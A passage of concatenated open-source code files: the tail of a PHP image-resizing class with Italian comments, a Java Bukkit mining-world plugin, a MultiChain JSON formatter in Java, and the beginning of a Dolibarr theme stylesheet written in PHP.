imagefill($ImageObject, 0, 0, $background);
}
} else {
if ($verbose == true) {
echo "errore durante la creazione dell'oggetto immagine. <br />";
}
}
return $ImageObject;
}
/**
* Funzione che separa i campi delle immagini encodate dalla stringa
* "formato,encoding" presente sul database e restituisce un array di
* dati con i campi separati.
*
* @return ImageData array
*/
private function getHashdata($HashString, $debug = false)
{
$ImageData = [];
if (preg_match("(^data:(.*);(\w+),(.*)$)", $HashString, $match)) {
$ImageData['mimeinfo'] = $match[1];
$ImageData['encoding'] = $match[2];
$ImageData['string'] = $match[3];
} else {
if ($debug) {
echo "no match!<br />";
}
$ImageData = [];
}
if ($debug) {
print_r($ImageData);
}
return $ImageData;
}
/**
* Funzione che ridimensiona l'immagine in base ai parametri scelti.
* Esegue un ridimensionamento proporzionale e dinamico in base al lato più lungo.
* Riposiziona la nuova immagine calcolando l'offset per centrarla.
* Se updateDB == true converte la nuova immagine in base64 ed esegue direttamnte l'update,
* altrimenti restituisce l'oggetto immagine.
*
* @param resource $ImageObject Oggetto immagine sul quale eseguire l'elaborazione.
* @param int $TargetWidth Valore dell'altezza dell'immagine finale.
* @param int $TargetHeight Valore della larghezza dell'immagine finale.
* @param string $ResizeMethod Metodo di ridimensionamento dell'immagine.
* @param boolean $verbose Flag che attiva la visualizzazione dei messaggi verbose.
* @param boolean $debug Flag che attiva la visualizzazione dei messaggi di debug.
* @return resource $ImageObject Oggetto immagine trattato.
*/
public function resize(
$ImageObject,
$TargetWidth,
$TargetHeight,
$ResizeMethod = "fit",
$verbose = false,
$debug = false
) {
if (!$ImageObject) {
exit("Errore, l'oggetto immagine e' nullo. <br />");
}
if ($debug) {
printf(
"[DEBUG][%s]: resimage: %d, TW: %d, TH: %d <br />",
__METHOD__,
$ImageObject,
$TargetWidth,
$TargetHeight
);
}
// verifico se l'immagine necessita di ridimensionamento
if ($this->check_size($ImageObject, $TargetWidth, $TargetHeight)) {
/**
* Creo l'oggetto immagine vuoto per il ridimensionamento
*/
if ($verbose) {
echo "creo il nuovo oggetto immagine <br />";
}
$newImage = imagecreatetruecolor($TargetWidth, $TargetHeight);
if ($this->transparentBG) {
// In caso di immagine originale con sfondo trasparente,
// crea lo stesso tipo di sfondo anche sulla nuova immagine
$transparent = imagecolorallocatealpha(
$newImage,
255,
255,
255,
127
);
//$white = imagecolorallocate($newImage, 255, 255, 255);
imagefill($newImage, 0, 0, $transparent);
} else {
// se lo sfondo non e' trasparente usa il colore del primo pixel (0, 0)
$background = $this->get_first_px_color($ImageObject);
imagefill($ImageObject, 0, 0, $background);
}
/**
* Calcolo il rapporto d'aspetto ed eseguo il calcolo per il ridimensionamento
*/
$RatioOriginal = round(
imagesx($ImageObject) / imagesy($ImageObject),
2
);
list($OffsetX, $OffsetY, $TargetWidth, $TargetHeight) = $this->calculate_resize(
$ImageObject,
$RatioOriginal,
$ResizeMethod,
$TargetWidth,
$TargetHeight,
$verbose,
$debug
);
/**
* Copio e ridimensiono effettivamente l'immagine
*
* bool imagecopyresampled ( resource $dst_image , resource $src_image , int $dst_x , int $dst_y ,
* int $src_x , int $src_y , int $dst_w , int $dst_h , int $src_w , int $src_h )
*
* bool imagecopyresized ( resource $dst_image , resource $src_image , int $dst_x , int $dst_y ,
* int $src_x , int $src_y , int $dst_w , int $dst_h , int $src_w , int $src_h )
*/
if (imagecopyresized(
$newImage,
$ImageObject,
$OffsetX,
$OffsetY,
0,
0,
$TargetWidth,
$TargetHeight,
imagesx($ImageObject),
imagesy($ImageObject)
)) {
if ($verbose) {
echo "Ridimensionamento riuscito <br />";
}
} else {
if ($verbose) {
echo "Errore durante il ridimensionamento dell'immagine. <br />";
}
}
}
return $newImage;
}
/**
* Funzione che estrae le informazioni relative all'oggetto immagine
* e verifica se necessita di ridimensionamento.
* @return boolean
*/
private function check_size(
$ImageObject,
$TargetWidth,
$TargetHeight,
$verbose = false,
$debug = false
) {
if ($debug) {
printf(
"[DEBUG][%s]: resimage: %d, TW: %d, TH: %d <br />",
__METHOD__,
$ImageObject,
$TargetWidth,
$TargetHeight
);
}
/**
* Estraggo le informazioni dell'immagine creata
*/
if ($verbose) {
printf(
"Dimensioni attuali immagine: %dx%d.<br />",
imagesx($ImageObject),
imagesy($ImageObject)
);
}
/**
* Verifica le dimensioni dell'immagine
* se diverso da quella attesa crea l'immagine vuota
* quindi ridimensiona l'immagine sulla nuova alle dimensioni corrette
*/
if ((imagesx($ImageObject) != $TargetWidth) || (imagesy($ImageObject) != $TargetHeight)) {
if ($verbose) {
//echo "L'immagine eccede le dimensioni massime, deve essere ridimensionata. <br />";
printf(
"La dimensione dell'immagine (%dx%d) non e' conforme alle dimensioni
richieste (%dx%d), deve essere ridimensionata. <br />",
imagesx($ImageObject),
imagesy($ImageObject),
$TargetWidth,
$TargetHeight
);
}
$this->skipUpdate = false;
return true;
} else {
if ($verbose) {
echo "L'immagine non richiede un ridimensionamento salto l'operazione. <br />";
}
$this->skipUpdate = true;
return false;
}
}
/**
* Funzione che calcola le nuove dimensioni dell'immagine in base a quelle reali,
* per il ridimensionamento ed avvia il tipo di ridimensionamento richiesto.
*
* @param resource $ImageObject
* @param float $RatioOriginal
* @param string $ResizeMethod [fit, crop]
* @return array($OffsetX, $OffsetY, $TargetWidth, $TargetHeight);
*/
private function calculate_resize(
$ImageObject,
$RatioOriginal,
$ResizeMethod = "fit",
$TargetWidth,
$TargetHeight,
$verbose = false,
$debug = false
) {
/**
* Imposto l'offset di base per il posizionamento
*/
$OffsetX = 0;
$OffsetY = 0;
$OriginalTargetWidth = $TargetWidth;
$OriginalTargetHeight = $TargetHeight;
switch ($ResizeMethod) {
case "fit":
/**
* Calcolo il lato più lungo per il ridimensionamento
* e l'offset per il posizionamento dell'immagine
*/
if (imagesx($ImageObject) > imagesy($ImageObject)) {
$TargetHeight = round($TargetWidth * $RatioOriginal, 2);
if ($TargetHeight > $OriginalTargetHeight) {
$TargetHeight = round($TargetWidth / $RatioOriginal, 2);
}
$OffsetY = ($OriginalTargetHeight - $TargetHeight) / 2;
if ($verbose) {
echo "<pre> X > Y: (ratio $RatioOriginal)<br />";
echo "TargetHeight: $TargetHeight<br />";
echo " Offset: ($OffsetX, $OffsetY)</pre><br />";
}
} else {
$TargetWidth = round($TargetHeight * $RatioOriginal, 2);
if ($TargetWidth > $OriginalTargetWidth) {
$TargetWidth = round($TargetHeight / $RatioOriginal, 2);
}
$OffsetX = ($OriginalTargetWidth - $TargetWidth) / 2;
if ($verbose) {
echo "<pre> Y > X: (ratio $RatioOriginal)<br />";
echo "TargetWidth: $TargetWidth<br />";
echo " Offset: ($OffsetX, $OffsetY)</pre><br />";
}
}
return [$OffsetX, $OffsetY, $TargetWidth, $TargetHeight];
break;
case "crop":
/**
* Calcolo il lato più corto per il ritaglio centrato dell'immagine originale
*/
if (imagesx($ImageObject) < imagesy($ImageObject)) {
$TargetHeight = round($TargetWidth * $RatioOriginal, 2);
if ($TargetHeight < $OriginalTargetHeight) {
$TargetHeight = round($TargetWidth / $RatioOriginal, 2);
}
$OffsetY = ($OriginalTargetHeight - $TargetHeight) / 2;
} else {
$TargetWidth = round($TargetHeight * $RatioOriginal, 2);
if ($TargetWidth < $OriginalTargetWidth) {
$TargetWidth = round($TargetHeight / $RatioOriginal, 2);
}
$OffsetX = ($OriginalTargetWidth - $TargetWidth) / 2;
}
if ($verbose) {
echo "<pre>";
echo " Ratio: $RatioOriginal<br />";
echo " TargetWidth: $TargetWidth<br />";
echo " TargetHeight: $TargetHeight<br />";
echo " OriginalTargetWidth: $OriginalTargetWidth<br />";
echo "OriginalTargetHeight: $OriginalTargetHeight<br />";
echo " Offset: ($OffsetX, $OffsetY)</pre><br />";
}
return [$OffsetX, $OffsetY, $TargetWidth, $TargetHeight];
break;
}
}
/**
* Funzione che converte l'oggetto immagine in un hash base64
* @return base64
*/
public function to_base64($ImageObject, $ShowImage = false)
{
ob_start();
imagejpeg($ImageObject);
$data = ob_get_contents();
ob_end_clean();
//print_r($data);
// Riassemblo la stringa da salvare sul DB
if ($this->originalMimeType == "") {
$base64 = "data:" . self::IMG_DEFAULT_MIME . ";base64," . base64_encode($data);
} else {
$base64 = "data:" . $this->originalMimeType . ";base64," . base64_encode($data);
}
//echo "new base64: $base64<br />";
if ($ShowImage && ($data != "")) {
echo "anteprima immagine ridimensionata: <br />";
if ($this->originalMimeType == "") {
echo "<img src='data:" . self::IMG_DEFAULT_MIME . ";base64," . base64_encode($data) . "'><br />";
} else {
echo "<img src='data:" . $this->originalMimeType . ";base64," . base64_encode($data) . "'><br />";
}
}
return $base64;
}
/**
* Funzione che esegue l'update del base64 sul database.
*/
public function update_hash_db($ArrayData, $verbose = false, $debug = false)
{
/**
* Esegue la validazione del campo id
*/
if (!filter_var($ArrayData['id'], FILTER_VALIDATE_INT)) {
exit("Errore, id non valido. <br />");
}
if ($debug) {
print_r($ArrayData);
}
$query = new aeq();
// verifico se si tratta di un'agenzia o di un utente:
if (isset($ArrayData['userId'])) {
$query->update(
self::IMG_TABLE_NAME,
['userId' => $ArrayData['userId'],
'img' => strToDB($ArrayData['img']),
'thumb' => strToDB($ArrayData['thumb']),
'orig' => strToDB($ArrayData['orig'])],
"id = " . $ArrayData['id'],
true
);
} elseif (isset($ArrayData['cerebrumGroupId'])) {
$query->update(
self::IMG_AG_TABLE_NAME,
['cerebrumGroupId' => $ArrayData['cerebrumGroupId'],
'img' => strToDB($ArrayData['img']),
'thumb' => strToDB($ArrayData['thumb']),
'orig' => strToDB($ArrayData['orig'])],
"id = " . $ArrayData['id'],
true
);
}
unset($query);
}
}
| gpl-3.0 |
ewized/esuite | eminingworld/EMiningWorld.java | 4185 | package net.year4000.eminingworld;
import java.util.logging.Level;
import java.util.logging.Logger;
import com.sk89q.commandbook.CommandBook;
import com.sk89q.commandbook.session.SessionComponent;
import com.zachsthings.libcomponents.ComponentInformation;
import com.zachsthings.libcomponents.Depend;
import com.zachsthings.libcomponents.InjectComponent;
import com.zachsthings.libcomponents.bukkit.BukkitComponent;
import com.zachsthings.libcomponents.config.ConfigurationBase;
import com.zachsthings.libcomponents.config.Setting;
import org.bukkit.Bukkit;
import org.bukkit.ChatColor;
import org.bukkit.Location;
import org.bukkit.Material;
import org.bukkit.World;
import org.bukkit.World.Environment;
import org.bukkit.WorldCreator;
import org.bukkit.WorldType;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.EventPriority;
import org.bukkit.event.Listener;
import org.bukkit.event.player.PlayerPortalEvent;
import org.bukkit.event.player.PlayerTeleportEvent.TeleportCause;
@ComponentInformation(friendlyName = "eMiningWorld", desc = "A special world that you can visit to mine ores.")
@Depend(components = SessionComponent.class)
public class EMiningWorld extends BukkitComponent implements Listener {
private LocalConfiguration config;
private String component = "[eMiningWorld]";
private String version = this.getClass().getPackage().getImplementationVersion();
@InjectComponent private SessionComponent sessions;
public void enable() {
config = configure(new LocalConfiguration());
CommandBook.registerEvents(this);
miningWorld();
Logger.getLogger(component).log(Level.INFO, component+" version "+version+" has been enabled.");
}
public void reload() {
super.reload();
configure(config);
Logger.getLogger(component).log(Level.INFO, component+" has been reloaded.");
}
public static class LocalConfiguration extends ConfigurationBase {
@Setting("to-msg") public String toMsg = "Mine to your hearts content.";
@Setting("from-msg") public String fromMsg = "Welcome back!";
@Setting("world.name") public String worldName = "mining";
@Setting("world.seed") public long worldSeed = 123456789;
@Setting("world.enviroment") public String worldEnviroment = "NORMAL";
@Setting("world.type") public String worldType = "NORMAL";
@Setting("world.generate-structures") public boolean generateStructures = true;
}
public World miningWorld(){
return WorldCreator.name(config.worldName)
.generateStructures(config.generateStructures)
.environment(Environment.valueOf(config.worldEnviroment))
.seed(config.worldSeed)
.type(WorldType.valueOf(config.worldType))
.createWorld();
}
public Location location(World world, Location cords){
return new Location(world,(double)cords.getBlockX(),(double)cords.getBlockY(),(double)cords.getBlockZ());
}
@EventHandler(priority = EventPriority.MONITOR, ignoreCancelled = true)
public void onPortalTravel(PlayerPortalEvent event){
Player p = event.getPlayer();
Location from = event.getFrom();
World mining = Bukkit.getWorld(Bukkit.getWorld(config.worldName).getUID());
Location spawn = Bukkit.getWorlds().get(0).getSpawnLocation();
TeleportCause teleportCause = event.getCause();
EMiningWorldSession session = sessions.getSession(EMiningWorldSession.class, p);
if(teleportCause == TeleportCause.NETHER_PORTAL){
if(p.getItemInHand().getType() == Material.COMPASS && p.getWorld() == spawn.getWorld()){
event.setTo(location(mining,from));
session.setLocation(p.getWorld().getName(),from.getBlockX(),from.getBlockY(),from.getBlockZ());
if(!config.toMsg.equals(""))p.sendMessage(ChatColor.GOLD + config.toMsg);
}
if(from.getWorld().equals(mining)){
event.setTo(session.getLocation());
event.useTravelAgent(false);
if(!config.fromMsg.equals(""))p.sendMessage(ChatColor.GOLD + config.fromMsg);
}
}
}
} | gpl-3.0 |
SimplyUb/MultiChainJavaAPI | src/main/java/multichain/object/formatters/GenericOutputFormatter.java | 1986 | /*
* Copyright (C) 2017 Worldline, Inc.
*
* MultiChainJavaAPI code distributed under the GPLv3 license, see COPYING file.
* https://github.com/SimplyUb/MultiChainJavaAPI/blob/master/LICENSE
*
*/
package multichain.object.formatters;
import java.util.ArrayList;
import java.util.List;
import com.google.gson.Gson;
import com.google.gson.GsonBuilder;
import com.google.gson.internal.LinkedTreeMap;
/**
* @author Ub - H. MARTEAU
* @version 2.0.1
*/
public class GenericOutputFormatter {
/**
*
*/
private GenericOutputFormatter() {
super();
}
public static final Object format(Object jsonValue, Class<?>[] valueTypes) {
int indexType = 0;
boolean formatted = false;
Object returnedValue = null;
while (indexType < valueTypes.length && !formatted) {
try {
returnedValue = format(jsonValue, valueTypes[indexType]);
formatted = true;
} catch (Exception e) {
indexType++;
formatted = false;
}
}
return returnedValue;
}
public static final <T> T format(Object jsonValue, Class<T> valueType) {
T returnedValue = null;
if (jsonValue != null
&& (LinkedTreeMap.class.isInstance(jsonValue) || valueType.isInstance(jsonValue))) {
GsonBuilder builder = new GsonBuilder();
Gson gson = builder.create();
String nomalizedJsonValue = gson.toJson(jsonValue);
returnedValue = gson.fromJson(nomalizedJsonValue, valueType);
}
return returnedValue;
}
@SuppressWarnings("unchecked")
public static final <T> List<T> formatList(Object jsonValues, Class<?>[] valueTypes) {
List<T> returnedValue = new ArrayList<>();
if (jsonValues != null && ArrayList.class.isInstance(jsonValues)) {
for (Object jsonValue : (ArrayList<Object>) jsonValues) {
returnedValue.add((T) format(jsonValue, valueTypes));
}
}
return returnedValue;
}
}
| gpl-3.0 |
syrus34/dolibarr | htdocs/theme/cameleo/style.css.php | 72316 | <?php
/* Copyright (C) 2004-2013 Laurent Destailleur <eldy@users.sourceforge.net>
* Copyright (C) 2006 Rodolphe Quiedeville <rodolphe@quiedeville.org>
* Copyright (C) 2007-2011 Regis Houssin <regis.houssin@capnetworks.com>
* Copyright (C) 2010-2011 Herve Prot <herve.prot@symeos.com>
* Copyright (C) 2011 Juanjo Menent <jmenent@2byte.es>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/**
* \file htdocs/theme/eldy/style.css.php
* \brief Fichier de style CSS du theme Cameleo
*/
//if (! defined('NOREQUIREUSER')) define('NOREQUIREUSER','1'); // Not disabled cause need to load personalized language
//if (! defined('NOREQUIREDB')) define('NOREQUIREDB','1'); // Not disabled to increase speed. Language code is found on url.
if (! defined('NOREQUIRESOC')) define('NOREQUIRESOC','1');
//if (! defined('NOREQUIRETRAN')) define('NOREQUIRETRAN','1'); // Not disabled cause need to do translations
if (! defined('NOCSRFCHECK')) define('NOCSRFCHECK',1);
if (! defined('NOTOKENRENEWAL')) define('NOTOKENRENEWAL',1);
if (! defined('NOLOGIN')) define('NOLOGIN',1);
if (! defined('NOREQUIREMENU')) define('NOREQUIREMENU',1);
if (! defined('NOREQUIREHTML')) define('NOREQUIREHTML',1);
if (! defined('NOREQUIREAJAX')) define('NOREQUIREAJAX','1');
session_cache_limiter(FALSE);
require_once '../../main.inc.php';
// Define css type
header('Content-type: text/css');
// Important: Following code is to avoid page request by browser and PHP CPU at
// each Dolibarr page access.
if (empty($dolibarr_nocache)) header('Cache-Control: max-age=3600, public, must-revalidate');
else header('Cache-Control: no-cache');
// On the fly GZIP compression for all pages (if browser support it). Must set the bit 3 of constant to 1.
if (isset($conf->global->MAIN_OPTIMIZE_SPEED) && ($conf->global->MAIN_OPTIMIZE_SPEED & 0x04)) { ob_start("ob_gzhandler"); }
if (! empty($_GET["lang"])) $langs->setDefaultLang($_GET["lang"]); // If language was forced on URL
if (! empty($_GET["theme"])) $conf->theme=$_GET["theme"]; // If theme was forced on URL
$langs->load("main",0,1);
$right=($langs->trans("DIRECTION")=='rtl'?'left':'right');
$left=($langs->trans("DIRECTION")=='rtl'?'right':'left');
$fontsize=empty($conf->dol_optimize_smallscreen)?'12':'12';
$fontsizesmaller=empty($conf->dol_optimize_smallscreen)?'11':'11';
$fontlist='arial,tahoma,verdana,helvetica';
//$fontlist='Verdana,Helvetica,Arial,sans-serif';
$dol_hide_topmenu=$conf->dol_hide_topmenu;
$dol_hide_leftmenu=$conf->dol_hide_leftmenu;
$dol_optimize_smallscreen=$conf->dol_optimize_smallscreen;
$dol_no_mouse_hover=$conf->dol_no_mouse_hover;
$dol_use_jmobile=$conf->dol_use_jmobile;
$path=''; // This value may be used in future for external module to overwrite theme
$theme='cameleo'; // Value of theme
if (! empty($conf->global->MAIN_OVERWRITE_THEME_RES)) { $path='/'.$conf->global->MAIN_OVERWRITE_THEME_RES; $theme=$conf->global->MAIN_OVERWRITE_THEME_RES; }
$colorshadowtitle='000';
?>
/* ============================================================================== */
/* Styles par defaut */
/* ============================================================================== */
body {
<?php if (GETPOST("optioncss") == 'print') { ?>
background-color: #FFFFFF;
<?php } else { ?>
/*background: #ffffff url(<?php echo dol_buildpath($path.'/theme/'.$theme.'/img/headbg2.jpg',1); ?>) 0 0 no-repeat;*/
<?php } ?>
color: #101010;
<?php if (empty($dol_use_jmobile) || 1==1) { ?>
font-size: <?php print $fontsize ?>px;
<?php } ?>
font-family: <?php print $fontlist ?>;
margin-top: 0;
margin-bottom: 0;
margin-right: 0;
margin-left: 0;
text-align: left;
<?php print 'direction: '.$langs->trans("DIRECTION").";\n"; ?>
}
a:link, a:visited, a:active { font-family: <?php print $fontlist ?>; font-weight: bold; color: blue; text-decoration: none; }
a:hover { font-family: <?php print $fontlist ?>; font-weight: bold; color: #A51B00; text-decoration: none; }
<?php if (empty($dol_use_jmobile)) { ?>
input:focus, textarea:focus, button:focus, select:focus {
box-shadow: 0 0 4px #8091BF;
}
input, input.flat, textarea, textarea.flat, form.flat select, select.flat {
font-size: <?php print $fontsize ?>px;
font-family: <?php print $fontlist ?>;
background: #FDFDFD;
border: 1px solid #ACBCBB;
padding: 1px 1px 1px 1px;
margin: 0px 0px 0px 0px;
}
<?php } ?>
select.flat, form.flat select {
font-weight: normal;
}
input:disabled {
background:#ddd;
}
textarea:disabled {
background:#ddd;
}
input[type=checkbox] { background-color: transparent; border: none; box-shadow: none; }
input[type=radio] { background-color: transparent; border: none; box-shadow: none; }
input[type=image] { background-color: transparent; border: none; box-shadow: none; }
input[type=text] { min-width: 20px; }
input:-webkit-autofill {
background-color: <?php echo empty($dol_use_jmobile)?'#FBFFEA':'#FFFFFF' ?> !important;
background-image:none !important;
-webkit-box-shadow: 0 0 0 50px <?php echo empty($dol_use_jmobile)?'#FBFFEA':'#FFFFFF' ?> inset;
}
input.button[type=submit] {
background: #A51B00;
-moz-border-radius:8px;
border-radius:8px;
border-right: 1px solid #555555;
border-bottom: 1px solid #555555;
border-left: 1px solid #D0D0D0;
border-top: 1px solid #D8D8D8;
/*border: 2px solid #063953;*/
color: #FFF;
padding: 0px 10px 0px 10px;
text-decoration: none;
white-space: nowrap;
/*display: block;
height: 18px;*/
vertical-align: top;
font-family: <?php print $fontlist ?>;
line-height: 14px;
cursor: pointer;
font-size: 11px;
font-weight: bold;
}
::-webkit-input-placeholder { color:#ccc; }
::-moz-placeholder { color:#ccc; } /* firefox 19+ */
:-ms-input-placeholder { color:#ccc; } /* ie */
input:-moz-placeholder { color:#ccc; }
<?php if (! empty($dol_use_jmobile)) { ?>
legend { margin-bottom: 8px; }
<?php } ?>
.button {
font-family: <?php print $fontlist ?>;
background-image: url(<?php echo dol_buildpath($path.'/theme/'.$theme.'/img/button_bg.png',1); ?>);
background-position: bottom;
border: 1px solid #ACBCBB;
padding: 0px 2px 0px 2px;
margin: 0px 0px 0px 0px;
}
.button:focus {
font-family: <?php print $fontlist ?>;
color: #222244;
background-image: url(<?php echo dol_buildpath($path.'/theme/'.$theme.'/img/button_bg.png',1); ?>);
background-position: bottom;
border: 1px solid #ACBCBB;
padding: 0px 2px 0px 2px;
margin: 0px 0px 0px 0px;
}
.buttonajax {
font-family: <?php print $fontlist ?>;
border: 0px;
background-image: url(<?php echo dol_buildpath($path.'/theme/'.$theme.'/img/button_bg.png',1); ?>);
background-position: bottom;
padding: 0px 0px 0px 0px;
margin: 0px 0px 0px 0px;
}
form {
padding: 0em 0em 0em 0em;
margin: 0em 0em 0em 0em;
}
div.float
{
float:<?php print $left; ?>;
}
div.floatright
{
float:<?php print $right; ?>;
}
div.inline-block
{
display:inline-block;
}
.valignmiddle {
vertical-align: middle;
}
.centpercent {
width: 100%;
}
.center {
text-align: center;
}
.left {
text-align: <?php print $left; ?>;
}
.right {
text-align: <?php print $right; ?>;
}
.nowrap {
white-space: <?php print ($dol_optimize_smallscreen?'normal':'nowrap'); ?>;
}
.nobold {
font-weight: normal !important;
}
.nounderline {
text-decoration: none;
}
/* ============================================================================== */
/* Styles to hide objects */
/* ============================================================================== */
.hideobject { display: none; }
<?php if (! empty($dol_optimize_smallscreen)) { ?>
.hideonsmartphone { display: none; }
.noenlargeonsmartphone { width : 50px !important; display: inline !important; }
.maxwidthonsmartphone { max-width: 100px; }
<?php } ?>
.linkobject { cursor: pointer; }
<?php if (GETPOST("optioncss") == 'print') { ?>
.hideonprint { display: none !important; }
<?php } ?>
/* ============================================================================== */
/* Styles for dragging lines */
/* ============================================================================== */
.dragClass {
color: #002255;
}
td.showDragHandle {
cursor: move;
}
.tdlineupdown {
white-space: nowrap;
min-width: 10px;
}
/* ============================================================================== */
/* Styles de positionnement des zones */
/* ============================================================================== */
#id-container {
display: table;
table-layout: fixed;
}
#id-right, #id-left {
display: table-cell;
float: none;
vertical-align: top;
}
#id-<?php echo $right; ?> {
width: 100%;
}
div.leftContent {
margin-left: 0px !important;
background-color: #FFF;
}
div.fiche {
margin-<?php print $left; ?>: <?php print empty($conf->dol_optimize_smallscreen)?'5':'2'; ?>px;
margin-<?php print $right; ?>: <?php print empty($conf->dol_optimize_smallscreen)?'5':''; ?>px;
}
div.fichecenter {
width: 100%;
clear: both; /* This is to have div fichecenter that are true rectangles */
}
div.fichethirdleft {
<?php if (empty($conf->dol_optimize_smallscreen)) { print "float: ".$left.";\n"; } ?>
<?php if (empty($conf->dol_optimize_smallscreen)) { print "width: 35%;\n"; } ?>
}
div.fichetwothirdright {
<?php if (empty($conf->dol_optimize_smallscreen)) { print "float: ".$left.";\n"; } ?>
<?php if (empty($conf->dol_optimize_smallscreen)) { print "width: 65%;\n"; } ?>
}
div.fichehalfleft {
<?php if (empty($conf->dol_optimize_smallscreen)) { print "float: ".$left.";\n"; } ?>
<?php if (empty($conf->dol_optimize_smallscreen)) { print "width: 50%;\n"; } ?>
}
div.fichehalfright {
<?php if (empty($conf->dol_optimize_smallscreen)) { print "float: ".$left.";\n"; } ?>
<?php if (empty($conf->dol_optimize_smallscreen)) { print "width: 50%;\n"; } ?>
}
div.ficheaddleft {
<?php if (empty($conf->dol_optimize_smallscreen)) { print "padding-left: 16px;\n"; }
else print "margin-top: 10px;\n"; ?>
}
/* ============================================================================== */
/* Menu top et 1ere ligne tableau */
/* ============================================================================== */
<?php
if (! empty($conf->dol_optimize_smallscreen))
{
$minwidthtmenu=0;
$heightmenu=19;
}
else
{
$minwidthtmenu=70;
$heightmenu=47;
}
?>
div#tmenu_tooltip {
padding-right: 100px;
}
div.tmenu {
<?php if (GETPOST("optioncss") == 'print') { ?>
display:none;
<?php } else { ?>
position: relative;
display: block;
white-space: nowrap;
/*border-top: 0px solid #D3E5EC;*/
border-<?php print $left; ?>: 0px;
border-<?php print $right; ?>: 0px solid #555555;
padding: 0px 0px 0px 0px; /* t r b l */
margin: 0px 0px 5px 0px; /* t r b l */
font-weight: normal;
height: 44px;
background: #FFF;
background-image: url(<?php echo dol_buildpath($path.'/theme/'.$theme.'/img/bg_tmenu.jpg',1); ?>);
background-position: center bottom;
border-bottom: 2px solid #A51B00;
color: #000;
text-decoration: none;
<?php } ?>
}
table.tmenu {
padding: 0px 0px 10px 0px; /* t r b l */
margin: 0px 0px 0px 0px; /* t r b l */
text-align: center;
}
td.tmenu {
<?php print $minwidthtmenu?'width: '.$minwidthtmenu.'px;':''; ?>
text-align: center;
vertical-align: bottom;
white-space: nowrap;
height: 20px;
}
a.tmenudisabled:link, a.tmenudisabled:visited, a.tmenudisabled:hover, a.tmenudisabled:active {
color: #757575;
font-weight: normal;
padding: 0px 5px 0px 5px;
margin: 0px 1px 2px 1px;
cursor: not-allowed;
white-space: nowrap;
}
a.tmenu:link, a.tmenu:visited, a.tmenu:hover, a.tmenu:active {
color: #842F00;
padding: 0px 10px 0px 10px;
/*margin: 0px 1px 0px 1px;*/
font-weight: bold;
font-family: <?php print $fontlist ?>;
white-space: nowrap;
height: 20px;
-moz-border-radius-topleft:8px;
-moz-border-radius-topright:8px;
border-top-left-radius:8px;
border-top-right-radius:8px;
border-top-left-radius:8px;
border-top-right-radius:8px;
border-right: 1px solid #555555;
border-bottom: 0px solid #555555;
border-left: 1px solid #D0D0D0;
border-top: 1px solid #D8D8D8;
background: #fceabb; /* Old browsers */
background: -moz-linear-gradient(top, #fceabb 0%, #fccd4d 50%, #FFA820 87%, #fbdf93 100%); /* FF3.6+ */
background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#fceabb), color-stop(50%,#fccd4d), color-stop(87%,#FFA820), color-stop(100%,#fbdf93)); /* Chrome,Safari4+ */
background: -webkit-linear-gradient(top, #fceabb 0%,#fccd4d 50%,#FFA820 87%,#fbdf93 100%); /* Chrome10+,Safari5.1+ */
background: -o-linear-gradient(top, #fceabb 0%,#fccd4d 50%,#FFA820 87%,#fbdf93 100%); /* Opera11.10+ */
background: -ms-linear-gradient(top, #fceabb 0%,#fccd4d 50%,#FFA820 87%,#fbdf93 100%); /* IE10+ */
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fceabb', endColorstr='#fbdf93',GradientType=0); /* IE6-9 */
background: linear-gradient(top, #fceabb 0%,#fccd4d 50%,#FFA820 87%,#fbdf93 100%); /* W3C */
}
a.tmenu:hover, a.tmenu:active {
color: #FFF;
-moz-border-radius-topleft:8px;
-moz-border-radius-topright:8px;
border-top-left-radius:8px;
border-top-right-radius:8px;
border-right: 1px solid #555555;
border-bottom: 0px solid #555555;
border-left: 1px solid #D0D0D0;
border-top: 1px solid #D8D8D8;
background: #FFA820; /* old browsers */
}
a.tmenusel:link, a.tmenusel:visited, a.tmenusel:hover, a.tmenusel:active {
color: #FFF;
font-weight: bold;
height: 20px;
font-family: <?php print $fontlist ?>;
padding: 0px 10px 0px 10px;
-moz-border-radius-topleft:8px;
-moz-border-radius-topright:8px;
border-top-left-radius:8px;
border-top-right-radius:8px;
border-right: 1px solid #555555;
border-bottom: 0px solid #555555;
border-left: 1px solid #D0D0D0;
border-top: 1px solid #D8D8D8;
background: #FFA820; /* old browsers */
}
ul.tmenu { /* t r b l */
padding: 0px 0px 10px 0px;
margin: 0px 0px 0px 6px;
list-style: none;
}
li.tmenu, li.tmenusel {
text-align: center;
vertical-align: top;
float: <?php print $left; ?>;
height: 47px;
display: block;
padding: 1px 2px 0px 2px;
margin: 0px 0px 0px 0px;
font-weight: normal;
}
.gecko li.tmenu { /* uniquement pour firefox */
padding: 4px 2px 4px 2px;
margin: 0px 0px 0px 0px;
}
div.mainmenu {
position : relative;
color: white;
background-repeat:no-repeat;
background-position:center top;
height: <?php echo ($heightmenu-19); ?>px;
margin-left: 0px;
}
<?php if (empty($conf->dol_optimize_smallscreen)) { ?>
div.mainmenu.agenda {
background-image: url(<?php echo dol_buildpath($path.'/theme/'.$theme.'/img/menus/agenda.png',1); ?>);
}
div.mainmenu.cashdesk {
background-image: url(<?php echo dol_buildpath($path.'/theme/'.$theme.'/img/menus/pointofsale.png',1); ?>);
}
div.mainmenu.accountancy {
background-image: url(<?php echo dol_buildpath($path.'/theme/'.$theme.'/img/menus/money.png',1); ?>);
}
div.mainmenu.bank {
background-image: url(<?php echo dol_buildpath($path.'/theme/'.$theme.'/img/menus/bank.png',1); ?>);
}
div.mainmenu.companies {
background-image: url(<?php echo dol_buildpath($path.'/theme/'.$theme.'/img/menus/company.png',1); ?>);
}
div.mainmenu.commercial {
background-image: url(<?php echo dol_buildpath($path.'/theme/'.$theme.'/img/menus/commercial.png',1); ?>);
}
div.mainmenu.externalsite {
background-image: url(<?php echo dol_buildpath($path.'/theme/eldy/img/menus/externalsite.png',1); ?>);
}
div.mainmenu.ftp {
background-image: url(<?php echo dol_buildpath($path.'/theme/'.$theme.'/img/menus/tools.png',1); ?>);
}
